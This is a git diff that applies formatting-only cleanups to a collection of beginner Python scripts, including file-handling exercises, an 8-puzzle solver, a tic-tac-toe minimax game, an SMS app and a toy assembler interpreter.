cecd268979b..65c7b4462bc 100644 --- a/1 File handle/File handle text/input,output and error streams.py +++ b/1 File handle/File handle text/input,output and error streams.py @@ -4,13 +4,13 @@ sys.stdout.write("Enter the name of the file") file = sys.stdin.readline() -with open(file.strip(), ) as F: - +with open( + file.strip(), +) as F: while True: ch = F.readlines() - for (i) in ch: # ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words + for i in ch: # ch is the whole file,for i in ch gives lines, for j in i gives letters,for j in i.split gives words print(i, end="") else: sys.stderr.write("End of file reached") break - diff --git a/1 File handle/File handle text/question 2.py b/1 File handle/File handle text/question 2.py index cbb84fcd13f..b369b564373 100644 --- a/1 File handle/File handle text/question 2.py +++ b/1 File handle/File handle text/question 2.py @@ -1,35 +1,32 @@ -""" Write a method/function DISPLAYWORDS() in python to read lines +"""Write a method/function DISPLAYWORDS() in python to read lines from a text file STORY.TXT, using read function -and display those words, which are less than 4 characters. """ +and display those words, which are less than 4 characters.""" +print("Hey!! You can print the word which are less then 4 characters") -print("Hey!! You can print the word which are less then 4 characters") def display_words(file_path): - try: with open(file_path) as F: words = F.read().split() - words_less_than_40 = list( filter(lambda word: len(word) < 4, words) ) + words_less_than_40 = list(filter(lambda word: len(word) < 4, words)) for word in words_less_than_40: print(word) - - return "The total number of the word's count which has less than 4 characters", (len(words_less_than_40)) - + + return ( + "The total number of the word's count which has less than 4 characters", + (len(words_less_than_40)), + ) + except FileNotFoundError: print("File not found") + print("Just need to pass the path of your file..") file_path = input("Please, Enter file path: ") if __name__ == "__main__": - print(display_words(file_path)) - - - - - diff --git a/1 File handle/File handle text/question 5.py b/1 File handle/File handle text/question 5.py index e8df3730b18..de03fbb81fd 100644 --- a/1 File handle/File handle text/question 5.py +++ b/1 File handle/File handle text/question 5.py @@ -5,24 +5,29 @@ import os from counter import Counter -print("You will see the count of lowercase, uppercase and total count of alphabets in provided file..") +print( + "You will see the count of lowercase, uppercase and total count of alphabets in provided file.." +) file_path = input("Please, Enter file path: ") if os.path.exists(file_path): - print('The file exists and this is the path:\n',file_path) + print("The file exists and this is the path:\n", file_path) def lowercase(file_path): try: - with open(file_path) as F: word_counter = Counter(F.read()) - - print(f"The total number of lower case letters are {word_counter.get_total_lower()}") + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) time.sleep(0.5) - print(f"The total number of upper case letters are {word_counter.get_total_upper()}") + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) time.sleep(0.5) print(f"The total number of letters are {word_counter.get_total()}") time.sleep(0.5) @@ -31,8 +36,5 @@ def lowercase(file_path): print("File is not exist.. Please check AGAIN") - - if __name__ == "__main__": - lowercase(file_path) diff --git a/1 File handle/File handle text/question 6.py b/1 File handle/File handle text/question 6.py index 467ea401995..a942d9db5c6 100644 --- a/1 File handle/File handle text/question 6.py +++ b/1 File handle/File handle text/question 6.py @@ -3,14 +3,19 @@ from counter import Counter -def lowercase(): +def lowercase(): with open("happy.txt") as F: word_counter = Counter(F.read()) - - print(f"The total number of lower case letters are {word_counter.get_total_lower()}") - print(f"The total number of upper case letters are {word_counter.get_total_upper()}") + + print( + f"The total number of lower case letters are {word_counter.get_total_lower()}" + ) + print( + f"The total number of upper case letters are {word_counter.get_total_upper()}" + ) print(f"The total number of letters are {word_counter.get_total()}") + if __name__ == "__main__": lowercase() diff --git a/1 File handle/File handle text/question3.py b/1 File handle/File handle text/question3.py index bc05c22561d..924a178638b 100644 --- a/1 File handle/File handle text/question3.py +++ b/1 File handle/File handle text/question3.py @@ -4,28 +4,27 @@ import os import time -file_name= input("Enter the file name to create:- ") + +file_name = input("Enter the file name to create:- ") # step1: print(file_name) - def write_to_file(file_name): - if os.path.exists(file_name): print(f"Error: {file_name} already exists.") else: with open(file_name, "a") as F: - while True: text = input("enter any text") - F.write(f"{text}\n") + F.write(f"{text}\n") if input("do you want to enter more, y/n").lower() == "n": break - + + # step2: def check_first_letter(): with open(file_name) as F: @@ -37,10 +36,12 @@ def check_first_letter(): count_i = first_letters.count("i") count_m = first_letters.count("m") - print(f"The total number of sentences starting with I or M are {count_i + count_m}") + print( + f"The total number of sentences starting with I or M are {count_i + count_m}" + ) + if __name__ == "__main__": - write_to_file(file_name) time.sleep(1) check_first_letter() diff --git a/8_puzzle.py b/8_puzzle.py index 630cc12dd21..d25632bf17d 100644 --- a/8_puzzle.py +++ b/8_puzzle.py @@ -1,5 +1,6 @@ from queue import PriorityQueue + class PuzzleState: def __init__(self, board, goal, moves=0, previous=None): self.board = board @@ -35,10 +36,13 @@ def neighbors(self): if 0 <= nx < 3 and 0 <= ny < 3: new_board = [row[:] for row in self.board] new_board[x][y], new_board[nx][ny] = new_board[nx][ny], new_board[x][y] - neighbors.append(PuzzleState(new_board, self.goal, self.moves + 1, self)) + neighbors.append( + PuzzleState(new_board, self.goal, self.moves + 1, self) + ) return neighbors + def solve_puzzle(initial_board, goal_board): initial_state = PuzzleState(initial_board, goal_board) frontier = PriorityQueue() @@ -59,6 +63,7 @@ def solve_puzzle(initial_board, goal_board): return None + def print_solution(solution): steps = [] while solution: @@ -68,21 +73,14 @@ def print_solution(solution): for step in steps: for row in step: - print(' '.join(map(str, row))) + print(" ".join(map(str, row))) print() + # Example usage -initial_board = [ - [1, 2, 3], - [4, 0, 5], - [7, 8, 6] -] - -goal_board = [ - [1, 2, 3], - [4, 5, 6], - [7, 8, 0] -] +initial_board = [[1, 2, 3], [4, 0, 5], [7, 8, 6]] + +goal_board = [[1, 2, 3], [4, 5, 6], [7, 8, 0]] solution = solve_puzzle(initial_board, goal_board) if solution: diff --git a/AI Game/Tic-Tac-Toe-AI/tictactoe.py b/AI Game/Tic-Tac-Toe-AI/tictactoe.py index 0cd5bd0dc36..4b7b96ce9c7 100644 --- a/AI Game/Tic-Tac-Toe-AI/tictactoe.py +++ b/AI Game/Tic-Tac-Toe-AI/tictactoe.py @@ -1,70 +1,82 @@ -from tkinter import messagebox #provides a different set of dialogues that are used to display message boxes +from tkinter import ( + messagebox, +) # provides a different set of dialogues that are used to display message boxes import customtkinter as ctk import customtkinter as messagebox + + def check_winner(board, player): # Check rows, columns, and diagonals for a win for i in range(3): - if all(board[i][j] == player for j in range(3)) or all(board[j][i] == player for j in range(3)): + if all(board[i][j] == player for j in range(3)) or all( + board[j][i] == player for j in range(3) + ): return True - if all(board[i][i] == player for i in range(3)) or all(board[i][2 - i] == player for i in range(3)): + if all(board[i][i] == player for i in range(3)) or all( + board[i][2 - i] == player for i in range(3) + ): return True return False + def is_board_full(board): - return all(all(cell != ' ' for cell in row) for row in board) + return all(all(cell != " " for cell in row) for row in board) + def minimax(board, depth, is_maximizing): - if check_winner(board, 'X'): + if check_winner(board, "X"): return -1 - if check_winner(board, 'O'): + if check_winner(board, "O"): return 1 - if is_board_full(board): + if is_board_full(board): return 0 - if is_maximizing: #recursive approach that fills board with Os - max_eval = float('-inf') + if is_maximizing: # recursive approach that fills board with Os + max_eval = float("-inf") for i in range(3): for j in range(3): - if board[i][j] == ' ': - board[i][j] = 'O' - eval = minimax(board, depth + 1, False) #recursion - board[i][j] = ' ' + if board[i][j] == " ": + board[i][j] = "O" + eval = minimax(board, depth + 1, False) # recursion + board[i][j] = " " max_eval = max(max_eval, eval) return max_eval - else: #recursive approach that fills board with Xs - min_eval = float('inf') + else: # recursive approach that fills board with Xs + min_eval = float("inf") for i in range(3): for j in range(3): - if board[i][j] == ' ': - board[i][j] = 'X' - eval = minimax(board, depth + 1, True) #recursion - board[i][j] = ' ' + if board[i][j] == " ": + board[i][j] = "X" + eval = minimax(board, depth + 1, True) # recursion + board[i][j] = " " min_eval = min(min_eval, eval) return min_eval -#determines the best move for the current player and returns a tuple representing the position + +# determines the best move for the current player and returns a tuple representing the position def best_move(board): - best_val = float('-inf') + best_val = float("-inf") best_move = None for i in range(3): for j in range(3): - if board[i][j] == ' ': - board[i][j] = 'O' + if board[i][j] == " ": + board[i][j] = "O" move_val = minimax(board, 0, False) - board[i][j] = ' ' + board[i][j] = " " if move_val > best_val: best_val = move_val best_move = (i, j) return best_move + def make_move(row, col): - if board[row][col] == ' ': - board[row][col] = 'X' - # in tk we use the config but in customtkinter we use configure for - buttons[row][col].configure(text='X') - if check_winner(board, 'X'): + if board[row][col] == " ": + board[row][col] = "X" + # in tk we use the config but in customtkinter we use configure for + buttons[row][col].configure(text="X") + if check_winner(board, "X"): messagebox.showinfo("Tic-Tac-Toe", "You win!") root.quit() elif is_board_full(board): @@ -75,28 +87,38 @@ def make_move(row, col): else: messagebox.showerror("Error", "Invalid move") -#AI's turn to play + +# AI's turn to play def ai_move(): row, col = best_move(board) - board[row][col] = 'O' - buttons[row][col].configure(text='O') - if check_winner(board, 'O'): + board[row][col] = "O" + buttons[row][col].configure(text="O") + if check_winner(board, "O"): messagebox.showinfo("Tic-Tac-Toe", "AI wins!") root.quit() elif is_board_full(board): messagebox.showinfo("Tic-Tac-Toe", "It's a draw!") root.quit() + + # change old UI code to customtkinter UI root = ctk.CTk() root.title("Tic-Tac-Toe") -board = [[' ' for _ in range(3)] for _ in range(3)] +board = [[" " for _ in range(3)] for _ in range(3)] buttons = [] for i in range(3): row_buttons = [] for j in range(3): - button = ctk.CTkButton(root, text=' ', font=('normal', 30), width=100, height=100, command=lambda row=i, col=j: make_move(row, col)) + button = ctk.CTkButton( + root, + text=" ", + font=("normal", 30), + width=100, + height=100, + command=lambda row=i, col=j: make_move(row, col), + ) button.grid(row=i, column=j, padx=2, pady=2) row_buttons.append(button) buttons.append(row_buttons) diff --git a/Anonymous_TextApp.py b/Anonymous_TextApp.py index 9b3f5052e88..9a47ccfc666 100644 --- a/Anonymous_TextApp.py +++ b/Anonymous_TextApp.py @@ -10,29 +10,29 @@ body = "" to = "" + def message(): global body, to - account_sid = 'Your_account_sid' # Your account sid - auth_token = 'Your_auth_token' # Your auth token + account_sid = "Your_account_sid" # Your account sid + auth_token = "Your_auth_token" # Your auth token client = Client(account_sid, auth_token) msg = client.messages.create( - from_='Twilio_number', # Twilio number + from_="Twilio_number", # Twilio number body=body, - to=to + to=to, ) print(msg.sid) - confirmation_label.config(text="Message Sent!") - + confirmation_label.config(text="Message Sent!") try: # Load the background image bg_img = Image.open(r"D:\Downloads\img2.png") - - #Canvas widget + + # Canvas widget canvas = tk.Canvas(window, width=800, height=750) canvas.pack(fill="both", expand=True) - + # background image to the Canvas bg_photo = ImageTk.PhotoImage(bg_img) bg_image_id = canvas.create_image(0, 0, image=bg_photo, anchor="nw") @@ -42,33 +42,55 @@ def message(): bg_image_id = canvas.create_image(250, 750, image=bg_photo, anchor="center") bg_image_id = canvas.create_image(850, 750, image=bg_photo, anchor="center") bg_image_id = canvas.create_image(1300, 750, image=bg_photo, anchor="center") - - - + # Foreground Image img = Image.open(r"D:\Downloads\output-onlinepngtools.png") photo = ImageTk.PhotoImage(img) img_label = tk.Label(window, image=photo, anchor="w") - img_label.image = photo - img_label.place(x=10, y=20) - + img_label.image = photo + img_label.place(x=10, y=20) + # Text for number input - canvas.create_text(1050, 300, text="Enter the number starting with +[country code]", font=("Poppins", 18, "bold"), fill="black", anchor="n") - text_field_number = tk.Entry(canvas, width=17, font=("Poppins", 25, "bold"), bg="#404040", fg="white", show="*") + canvas.create_text( + 1050, + 300, + text="Enter the number starting with +[country code]", + font=("Poppins", 18, "bold"), + fill="black", + anchor="n", + ) + text_field_number = tk.Entry( + canvas, + width=17, + font=("Poppins", 25, "bold"), + bg="#404040", + fg="white", + show="*", + ) canvas.create_window(1100, 350, window=text_field_number, anchor="n") - + # Text for message input - canvas.create_text(1050, 450, text="Enter the Message", font=("Poppins", 18, "bold"), fill="black", anchor="n") - text_field_text = tk.Entry(canvas, width=17, font=("Poppins", 25, "bold"), bg="#404040", fg="white") + canvas.create_text( + 1050, + 450, + text="Enter the Message", + font=("Poppins", 18, "bold"), + fill="black", + anchor="n", + ) + text_field_text = tk.Entry( + canvas, width=17, font=("Poppins", 25, "bold"), bg="#404040", fg="white" + ) canvas.create_window(1100, 500, window=text_field_text, anchor="n") - + # label for confirmation message confirmation_label = tk.Label(window, text="", font=("Poppins", 16), fg="green") canvas.create_window(1100, 600, window=confirmation_label, anchor="n") - + except Exception as e: print(f"Error loading image: {e}") + # Function to save input and send message def save_and_send(): global body, to @@ -76,8 +98,9 @@ def save_and_send(): body = str(text_field_text.get()) message() + # Button to save input and send message save_button = tk.Button(window, text="Save and Send", command=save_and_send) -canvas.create_window(1200, 550, window=save_button, anchor='n') +canvas.create_window(1200, 550, window=save_button, anchor="n") -window.mainloop() \ No newline at end of file +window.mainloop() diff --git a/Armstrong_number.py b/Armstrong_number.py index 59732994f81..9c73522992c 100644 --- a/Armstrong_number.py +++ b/Armstrong_number.py @@ -1,24 +1,30 @@ """ -In number theory, a narcissistic number (also known as a pluperfect digital invariant (PPDI), an Armstrong number (after Michael F. Armstrong) or a plus perfect number), +In number theory, a narcissistic number (also known as a pluperfect digital invariant (PPDI), an Armstrong number (after Michael F. Armstrong) or a plus perfect number), in a given number base b, is a number that is the total of its own digits each raised to the power of the number of digits. Source: https://en.wikipedia.org/wiki/Narcissistic_number NOTE: this scripts only works for number in base 10 """ -def is_armstrong_number(number:str): - total:int = 0 - exp:int = len(number) #get the number of digits, this will determinate the exponent - digits:list[int] = [] - for digit in number: digits.append(int(digit)) #get the single digits - for x in digits: total += x ** exp #get the power of each digit and sum it to the total - +def is_armstrong_number(number: str): + total: int = 0 + exp: int = len( + number + ) # get the number of digits, this will determinate the exponent + + digits: list[int] = [] + for digit in number: + digits.append(int(digit)) # get the single digits + for x in digits: + total += x**exp # get the power of each digit and sum it to the total + # display the result if int(number) == total: - print(number,"is an Armstrong number") + print(number, "is an Armstrong number") else: - print(number,"is not an Armstrong number") + print(number, "is not an Armstrong number") + number = input("Enter the number : ") is_armstrong_number(number) diff --git a/Assembler/assembler.py b/Assembler/assembler.py index 0acd48b1535..dba6c6e842e 100644 --- a/Assembler/assembler.py +++ b/Assembler/assembler.py @@ -69,866 +69,675 @@ def scanner(string): state = 0 # init state for ch in string: - match state: - case 0: - match ch: - case "m": # catch mov-command - state = 1 token += "m" case "e": # catch register - state = 4 token += "e" case "1": # catch a number - if ch <= "9" or ch == "-": state = 6 token += ch case "0": # catch a number or hex-code - state = 17 token += ch case "a": # catch add-command - state = 7 token += ch case "s": # catch sub command - state = 10 token += ch case "i": # capture int command - state = 14 token += ch case "p": # capture push or pop command - state = 19 token += ch case "l": # capture label - state = 25 token += ch case "j": # capture jmp command - state = 26 token += ch case "c": # catch cmp-command - state = 29 token += ch case ";": # capture comment - state = 33 case '"': # catch a string - state = 34 # without " case ch.isupper(): # capture identifier - state = 35 token += ch case "d": # capture db keyword - state = 36 token += ch case "$": # catch variable with prefix $ - state = 38 # not catching $ case "_": # catch label for subprogram - state = 40 # not catches the character _ case "r": # catch ret-command - state = 44 token += ch case _: # other characters like space-characters etc - state = 0 token = "" case 1: # state 1 - match ch: - case "o": - state = 2 token += ch case "u": - state = 47 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() - - case 2: # state 2 + case 2: # state 2 match ch: - case "v": - state = 3 token += "v" - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 3: # state 3 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 4: # state 4 - if ch >= "a" and ch <= "d": - state = 5 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 5: # state 5 - match ch: - case "x": - state = 13 token += ch case _: - state = 0 token = "" raise InvalidSyntax() case 6: # state 6 - if ch.isdigit(): - state = 6 token += ch elif ch.isspace(): - state = 0 tokens.append(Token(token, "value")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 7: # state 7 - match ch: - case "d": - state = 8 token += ch - case _: # error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 8: # state 8 - match ch: case "d": - state = 9 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 9: # state 9 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 10: # state 10 - match ch: case "u": - state = 11 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 11: # state 11 - match ch: case "b": - state = 12 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 12: # state 12 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 13: # state 13 - if ch == "," or ch.isspace(): - state = 0 tokens.append(Token(token, "register")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 14: # state 14 - if ch == "n": - state = 15 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 15: # state 15 - if ch == "t": - state = 16 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 16: # state 16 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 17: # state 17 - if ch == "x": - state = 18 token += ch elif ch.isspace(): - state = 0 tokens.append(Token(token, "value")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 18: # state 18 - if ch.isdigit() or (ch >= "a" and ch <= "f"): - state = 18 token += ch elif ch.isspace(): - state = 0 tokens.append(Token(token, "value")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 19: # state 19 - if ch == "u": - state = 20 token += ch elif ch == "o": - state = 23 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 20: # state 20 - if ch == "s": - state = 21 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 21: # state 21 - if ch == "h": - state = 22 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 22: # state 22 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 23: # state 23 - if ch == "p": - state = 24 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 24: # state 24 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 25: # state 25 - if ch.isdigit(): - state = 25 token += ch elif ch == ":" or ch.isspace(): - state = 0 tokens.append(Token(token, "label")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 26: # state 26 - if ch == "m": - state = 27 token += ch elif ch == "e": # catch je command - state = 32 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 27: # state 27 - if ch == "p": - state = 28 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 28: # state 28 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 29: # state 29 - match ch: case "m": - state = 30 token += ch case "a": # catch call-command - state = 41 token += ch case _: # error case - state = 0 token = "" raise InvalidSyntax() case 30: # state 30 - if ch == "p": - state = 31 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 31: # state 31 - token = "" if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) else: # error case - state = 0 raise InvalidSyntax() case 32: # state 32 - token = "" if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) else: # error case - state = 0 raise InvalidSyntax() case 33: # state 33 - if ( ch.isdigit() or ch.isalpha() or (ch.isspace() and ch != "\n") or ch == '"' ): - state = 33 elif ch == "\n": - state = 0 else: # error case - state = 0 token = "" raise InvalidSyntax() case 34: # state 34 - if ch.isdigit() or ch.isalpha() or ch.isspace(): - state = 34 token += ch elif ch == '"': - state = 0 tokens.append(Token(token, "string")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 35: # state 35 - if ch.isdigit() or ch.isupper(): - state = 35 token += ch elif ch == " " or ch == "\n": - state = 0 tokens.append(Token(token, "identifier")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 36: # state 36 - if ch == "b": - state = 37 token += ch elif ch == "i": - state = 49 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 37: # state 37 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 38: # state 38 - if ch.isalpha(): - state = 39 token += ch else: # error case - state = 0 token = "" raise InvalidSyntax() case 39: # state 39 - if ch.isalpha() or ch.isdigit(): - state = 39 token += ch elif ch.isspace(): - state = 0 tokens.append(Token(token, "identifier")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 40: # state 40 - if ( (ch >= "a" and ch <= "z") or (ch >= "A" and ch <= "Z") or (ch >= "0" and ch <= "9") ): - state = 40 token += ch elif ch == ":" or ch.isspace(): - state = 0 tokens.append(Token(token, "subprogram")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 41: # state 41 - match ch: case "l": - state = 42 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 42: # state 42 - match ch: case "l": - state = 43 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 43: # state 43 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 44: # state 44 - match ch: case "e": - state = 45 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 45: # state 45 - match ch: case "t": - state = 46 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 46: # state 46 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 47: # state 47 - match ch: case "l": - state = 48 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 48: # state 48 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() case 49: # state 49 - match ch: case "v": - state = 50 token += ch - case _:# error case - + case _: # error case state = 0 token = "" raise InvalidSyntax() case 50: # state 50 - if ch.isspace(): - state = 0 tokens.append(Token(token, "command")) token = "" else: # error case - state = 0 token = "" raise InvalidSyntax() @@ -962,11 +771,9 @@ def parser(): tmpToken = Token("", "") while pointer < len(tokens): - token = tokens[pointer] if token.token == "mov": # mov commando - # it must follow a register if pointer + 1 < len(tokens): pointer += 1 @@ -977,7 +784,6 @@ def parser(): # TODO use token.t for this stuff if token.t == "register": - tmpToken = token # it must follow a value / string / register / variable @@ -991,7 +797,6 @@ def parser(): # converts the token into float, if token contains only digits. # TODO response of float if token.t == "identifier": # for variables - # check of exists of variable if token.token in variables: token.token = variables[token.token] @@ -1000,7 +805,6 @@ def parser(): return elif token.t == "string": - token.token = str(token.token) elif isinstance(token.token, float): @@ -1032,17 +836,14 @@ def parser(): edx = token.token else: - print("Error: No found register!") return elif token.token == "add": # add commando - pointer += 1 token = tokens[pointer] if token.t == "register": - tmpToken = token if pointer + 1 < len(tokens): @@ -1054,7 +855,6 @@ def parser(): # converts the token into float, if token contains only digits. if token.t == "register": - # for the case that token is register match token.token: case "eax": @@ -1076,7 +876,6 @@ def parser(): return match tmpToken.token: - case "eax": eax += token.token @@ -1084,7 +883,7 @@ def parser(): zeroFlag = False if eax == 0: zeroFlag = True - + case "ebx": ebx += token.token @@ -1092,7 +891,7 @@ def parser(): zeroFlag = False if ebx == 0: zeroFlag = True - + case "ecx": ecx += token.token @@ -1100,7 +899,7 @@ def parser(): zeroFlag = False if ecx == 0: zeroFlag = True - + case "edx": edx += token.token @@ -1110,17 +909,14 @@ def parser(): zeroFlag = True else: - print("Error: Not found register!") return elif token.token == "sub": # sub commando - pointer += 1 token = tokens[pointer] if token.t == "register": - tmpToken = token if pointer + 1 < len(tokens): @@ -1132,7 +928,6 @@ def parser(): # converts the token into float, if token contains only digits. if token.t == "register": - # for the case that token is register if token.token == "eax": token.token = eax @@ -1164,7 +959,7 @@ def parser(): zeroFlag = False elif tmpToken.token == "ebx": ebx -= token.token - + # update zero flag if ebx == 0: zeroFlag = True @@ -1188,12 +983,10 @@ def parser(): zeroFlag = False else: - print("Error: No found register!") return elif token.token == "int": # int commando - tmpToken = token if pointer + 1 < len(tokens): @@ -1204,9 +997,7 @@ def parser(): return if token.token == "0x80": # system interrupt 0x80 - if eax == 1: # exit program - if ebx == 0: print("END PROGRAM") return @@ -1215,15 +1006,12 @@ def parser(): return elif eax == 3: - ecx = float(input(">> ")) elif eax == 4: # output informations - print(ecx) elif token.token == "push": # push commando - tmpToken = token # it must follow a register @@ -1238,7 +1026,6 @@ def parser(): stack.append(token.token) elif token.token == "pop": # pop commando - tmpToken = token # it must follow a register @@ -1264,11 +1051,9 @@ def parser(): edx = stack.pop() elif token.t == "label": # capture label - jumps[token.token] = pointer elif token.token == "jmp": # capture jmp command - # it must follow a label if pointer + 1 < len(tokens): pointer += 1 @@ -1278,7 +1063,6 @@ def parser(): return if token.t == "label": - pointer = jumps[token.token] else: @@ -1296,7 +1080,6 @@ def parser(): return if token.t == "register": - # it must follow a register if pointer + 1 < len(tokens): pointer += 1 @@ -1307,10 +1090,8 @@ def parser(): # actual comparing zeroFlag = setZeroFlag(token.token, tmpToken.token) - elif token.token == "je": - # it must follow a label if pointer + 1 < len(tokens): pointer += 1 @@ -1321,21 +1102,17 @@ def parser(): # check of label if token.t == "label": - # actual jump if zeroFlag: pointer = jumps[token.token] else: - print("Error: Not found label") return elif token.t == "identifier": - # check whether identifier is in variables-table if token.token not in variables: - # it must follow a command if pointer + 1 < len(tokens): pointer += 1 @@ -1345,7 +1122,6 @@ def parser(): return if tmpToken.t == "command" and tmpToken.token == "db": - # it must follow a value (string) if pointer + 1 < len(tokens): pointer += 1 @@ -1355,19 +1131,16 @@ def parser(): return if tmpToken.t == "value" or tmpToken.t == "string": - if tmpToken.t == "value": variables[token.token] = float(tmpToken.token) elif tmpToken.t == "string": variables[token.token] = tmpToken.token else: - print("Error: Not found db-keyword") return elif token.token == "call": # catch the call-command - # it must follow a subprogram label if pointer + 1 < len(tokens): pointer += 1 @@ -1377,41 +1150,32 @@ def parser(): return if token.t == "subprogram": - if token.token in jumps: - # save the current pointer returnStack.append(pointer) # eventuell pointer + 1 # jump to the subprogram pointer = jumps[token.token] else: # error case - print("Error: Unknow subprogram!") return else: # error case - print("Error: Not found subprogram") return elif token.token == "ret": # catch the ret-command - if len(returnStack) >= 1: - pointer = returnStack.pop() else: # error case - print("Error: No return adress on stack") return elif token.t == "subprogram": - pass elif token.token == "mul": # catch mul-command - # it must follow a register if pointer + 1 < len(tokens): pointer += 1 @@ -1421,30 +1185,23 @@ def parser(): return if token.t == "register": - if token.token == "eax": - eax *= eax elif token.token == "ebx": - eax *= ebx elif token.token == "ecx": - eax *= ecx elif token.token == "edx": - eax *= edx else: - print("Error: Not found register") return elif token.token == "div": - # it must follow a register if pointer + 1 < len(tokens): pointer += 1 @@ -1454,7 +1211,6 @@ def parser(): return if token.t == "register": - match token.token: case "eax": eax /= eax @@ -1472,15 +1228,15 @@ def parser(): eax /= edx else: - print("Error: Not found register") return # increment pointer for fetching next token. pointer += 1 + def setZeroFlag(token, tmpToken): - """ return bool for zero flag based on the regToken """ + """return bool for zero flag based on the regToken""" global eax, ebx, ecx, edx # Register in string @@ -1516,6 +1272,7 @@ def setZeroFlag(token, tmpToken): return zeroFlag + def registerLabels(): """ This function search for labels / subprogram-labels and registers this in the 'jumps' list. @@ -1560,18 +1317,15 @@ def main(): # [1:] because the first argument is the program itself. for arg in sys.argv[1:]: - resetInterpreter() # resets interpreter mind try: - loadFile(arg) scan() registerLabels() parser() except Exception as e: - print(f"Error: {e}") diff --git a/Audio_Summarizer.py b/Audio_Summarizer.py index 9968fba15dc..7388fcbd123 100644 --- a/Audio_Summarizer.py +++ b/Audio_Summarizer.py @@ -3,6 +3,7 @@ import openai import os + def transcript_generator(): # Load Whisper model model = whisper.load_model("base") @@ -16,7 +17,9 @@ def transcript_generator(): def provide_summarizer(Text): # Set up Groq OpenAI-compatible API credentials - openai.api_key = os.getenv("OPENAI_API_KEY", "your-api-key-here") # Replace or set in environment + openai.api_key = os.getenv( + "OPENAI_API_KEY", "your-api-key-here" + ) # Replace or set in environment openai.api_base = "https://api.groq.com/openai/v1" # Extract text from the Whisper result @@ -26,13 +29,19 @@ def provide_summarizer(Text): response = openai.ChatCompletion.create( model="llama3-8b-8192", messages=[ - {"role": "system", "content": "You are a helpful assistant who summarizes long text into bullet points."}, - {"role": "user", "content": f"Summarize the following:\n\n{text_to_summarize}"} - ] + { + "role": "system", + "content": "You are a helpful assistant who summarizes long text into bullet points.", + }, + { + "role": "user", + "content": f"Summarize the following:\n\n{text_to_summarize}", + }, + ], ) # Split the response into sentences - summary = re.split(r'(?<=[.!?]) +', response["choices"][0]["message"]["content"]) + summary = re.split(r"(?<=[.!?]) +", response["choices"][0]["message"]["content"]) # Save summary to file with open("summary.txt", "w+", encoding="utf-8") as file: diff --git a/AutoComplete_App/backend.py b/AutoComplete_App/backend.py index 47e1c7906d6..a86e6797742 100644 --- a/AutoComplete_App/backend.py +++ b/AutoComplete_App/backend.py @@ -1,12 +1,13 @@ import sqlite3 import json + class AutoComplete: """ It works by building a `WordMap` that stores words to word-follower-count ---------------------------- e.g. To train the following statement: - + It is not enough to just know how tools work and what they worth, we have got to learn how to use them and to use them well. And with all these new weapons in your arsenal, we would better @@ -46,9 +47,21 @@ def __init__(self): if not tables_exist: self.conn.execute("CREATE TABLE WordMap(name TEXT, value TEXT)") - self.conn.execute('CREATE TABLE WordPrediction (name TEXT, value TEXT)') - cur.execute("INSERT INTO WordMap VALUES (?, ?)", ("wordsmap", "{}",)) - cur.execute("INSERT INTO WordPrediction VALUES (?, ?)", ("predictions", "{}",)) + 